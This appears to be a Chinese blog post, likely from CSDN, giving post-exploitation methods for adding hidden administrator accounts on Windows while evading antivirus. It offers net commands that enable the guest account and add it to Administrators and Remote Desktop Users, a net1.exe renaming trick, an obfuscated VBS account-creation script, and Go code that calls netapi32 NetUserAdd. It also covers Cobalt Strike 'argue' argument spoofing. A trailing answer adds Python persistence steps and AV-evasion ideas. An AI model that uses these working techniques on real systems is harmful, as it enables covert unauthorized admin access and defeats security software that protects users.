绕过杀软添加用户

方法0、直接运行神器

360shellcode.zip

github可搜

方法1、激活GUEST用户

比较好用,试过很多次杀软都不拦截

net   user  guest  /active:yes   
net   user  guest   Aa123456.
net   localgroup  administrators  guest   /add
net   localgroup "Remote  Desktop Users"  guest  /add

方法2、net1绕过

net1.exe在C:/windows/system32下

进入到目录下面,此时生成一个asd.txt

 1de6516f4553171384cc8e5ace7be6c0.png

此时的asd.txt就和net 一样了,可以执行net user

不会触发火绒告警(有的主机会有的主机不会不知道为啥)

22c15886acae8582dc4ddf91432256ee.png

方法3、VBS API脚本

wscript.exe add.vbs 无法绕过火绒(会被当做adduser病毒干掉)

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","iiice")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/iiice",user)
oe.add os&"/admin"

 但是我们只要简单的尝试混淆即可绕过

Set wsnetwork=CreateObject("WS"&"CR"&"IPT"&"."&"NET"&"WO"&"RK") 
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","iiice")
Const strPassword = "123456"
od.SetPassword strPassword
od.SetInfo
Set of=GetObject(os&"/iiice",user)
oe.add os&"/iiice"

方法4、使用windows底层API

原理是使用windows本地的netapi32.dll来绕过杀软的监测

package main

import (
    "fmt"
    "os"
    "syscall"
    "unsafe"
)

//参考如下
//https://docs.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd/
//https://github.com/CodyGuo/xcgui/blob/master/doc/cToGo.go
//https://github.com/iamacarpet/go-win64api/blob/master/users.go
//https://git.itch.ovh/itchio/ox/-/blob/ec75be15423d72ab9691a3318ecce3feee67b19b/syscallex/netapi32_windows.go
//https://pkg.go.dev/github.com/itchio/ox/syscallex#NetUserAdd
type USER_INFO_1 struct {
    Usri1_name         *uint16
    Usri1_password     *uint16
    Usri1_password_age uint32 //可忽略
    Usri1_priv         uint32
    Usri1_home_dir     *uint16
    Usri1_comment      *uint16
    Usri1_flags        uint32
    Usri1_script_path  *uint16
}
type LOCALGROUP_MEMBERS_INFO_3 struct {
    Lgrmi3_domainandname *uint16
}

const (
    USER_PRIV_GUEST            = 0
    USER_PRIV_USER             = 1
    USER_PRIV_ADMIN            = 2
    USER_UF_SCRIPT             = 1
    USER_UF_NORMAL_ACCOUNT     = 512
    USER_UF_DONT_EXPIRE_PASSWD = 65536
    //parmErr                     = 0
    NET_API_STATUS_NERR_Success = 0
)

type User struct {
    username string
    password string
}

func main() {
    // 请更改此处用户名密码
    info := User{
        username: "test",
        password: "123456",
    }

    r, err := NetUserAdd(info.username, info.password)
    if err != nil {
        fmt.Println(err)
    }
    fmt.Println(r)
    //if r == true {
    //  _, err := AddLocalGroup("test", "Administrators")
    //  if err != nil {
    //      fmt.Println(err)
    //  }
    //}
}

func NetUserAdd(user string, pass string) (bool, error) {
    var parmErr uint32
    parmErr = uint32(0)

    username := UtfToStr(user)
    password := UtfToStr(pass)
    userinfo := USER_INFO_1{
        Usri1_name:     username,
        Usri1_password: password,
        Usri1_priv:     USER_PRIV_USER,
        Usri1_flags:    USER_UF_SCRIPT | USER_UF_NORMAL_ACCOUNT | USER_UF_DONT_EXPIRE_PASSWD,
        //Usri1_home_dir:    UtfToStr(""),
        //Usri1_comment:     UtfToStr("test测试用户"),
        //Usri1_script_path: UtfToStr(""),
    }

    netapi, err := syscall.LoadLibrary("netapi32.dll")
    if err != nil {
        panic("dll引用失败")
    }
    AddUser, err := syscall.GetProcAddress(netapi, "NetUserAdd")
    result, _, _ := syscall.Syscall6(AddUser,
        4,
        uintptr(0),         //server
        uintptr(uint32(1)), //lever
        uintptr(unsafe.Pointer(&userinfo)),
        uintptr(unsafe.Pointer(&parmErr)), 0, 0,
    )
    //令必须使用管理员权限才能添加用户
    if result != NET_API_STATUS_NERR_Success {
        return false, fmt.Errorf("添加失败")
    } else {
        _, err = AddLocalGroup(user, "Administrators", netapi)
        if err != nil {
            fmt.Println(err)
        }
        return true, fmt.Errorf("添加成功%s:%s", user, pass)

    }

}

func AddLocalGroup(user, group string, netapi syscall.Handle) (bool, error) {
    work, _ := os.Hostname()
    WorkStation := UtfToStr(work + `\` + user)
    GroupName := UtfToStr(group)
    var uArray = make([]LOCALGROUP_MEMBERS_INFO_3, 1)
    uArray[0] = LOCALGROUP_MEMBERS_INFO_3{
        Lgrmi3_domainandname: WorkStation,
    }
    ALG, _ := syscall.GetProcAddress(netapi, "NetLocalGroupAddMembers")
    result, _, _ := syscall.Syscall6(ALG, 5,
        uintptr(0),                          // servername
        uintptr(unsafe.Pointer(GroupName)),  // group name
        uintptr(uint32(3)),                  // level
        uintptr(unsafe.Pointer(&uArray[0])), // user array.
        uintptr(uint32(len(uArray))), 0)
    if result != NET_API_STATUS_NERR_Success {
        return false, fmt.Errorf("添加管理组失败")
    } else {
        return true, fmt.Errorf("添加管理组Administrators成功")
    }
}
func UtfToStr(str string) *uint16 {
    res, err := syscall.UTF16PtrFromString(str)
    if err != nil {
        panic(err)
    }
    return res
}

方法5、利用CS argue参数欺骗

beacon> argue net1 /bypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypass
beacon> run net1 user betasec 3had0w!@#123 /add 
beacon> run net1 localgroup administrators betasec /add

argue 进程参数欺骗
argue [command] [fake arguments]
argue 命令 假参数 欺骗某个命令参数
argue [command]
argue 命令 取消欺骗某个命令参数

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,需要注意的是,绕过杀软是一种不道德的行为,同时也是违法的。因此,我们不鼓励或支持这种行为。 其次,关于Python自启动,一般有两种方法: 1. 将Python脚本添加到系统的启动项中。这样,每次开机启动时,系统会自动运行这个脚本。具体步骤如下: - 打开“运行”窗口,输入“shell:startup”,打开启动文件夹。 - 右键点击文件夹中的空白处,选择“新建”->“快捷方式”。 - 在“快捷方式”的目标栏中输入“python.exe 脚本路径”,如“C:\Python27\python.exe D:\test.py”。 - 点击“下一步”,输入一个名称,如“test”,点击“完成”即可。 2. 使用Windows任务计划程序。这样,可以设置脚本在指定的时间自动运行。具体步骤如下: - 打开“控制面板”->“管理工具”->“任务计划程序”。 - 在任务计划程序中,右键点击“任务计划程序库”,选择“创建任务”。 - 在“常规”选项卡中,输入一个名称和描述,选择“不管用户是否登录都要运行”,勾选“使用最高权限运行”。 - 在“触发器”选项卡中,选择“新建”,设置计划的触发条件,如每天、每周等。 - 在“操作”选项卡中,选择“新建”,设置操作为“启动程序”,输入“python.exe 脚本路径”。 - 点击“确定”保存任务。 对于绕过杀软的过程,一般有以下几种方法: 1. 使用FUD(Fully Undetectable)技术,将病毒代码加密或混淆,使其难以被杀软检测到。 2. 使用虚拟机或沙箱环境,在其中运行病毒代码,以避免被杀软检测。 3. 修改病毒代码,使其不再具有病毒行为,从而不被杀软检测到。 4. 手动编写病毒代码,使用未被杀软识别的技术和方法。 需要注意的是,这些方法都存在风险和不道德性质,因此不应该轻易尝试。同时,杀软的主要目的是保护用户安全,因此绕过杀软的行为也可能会对用户造成风险和危害。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值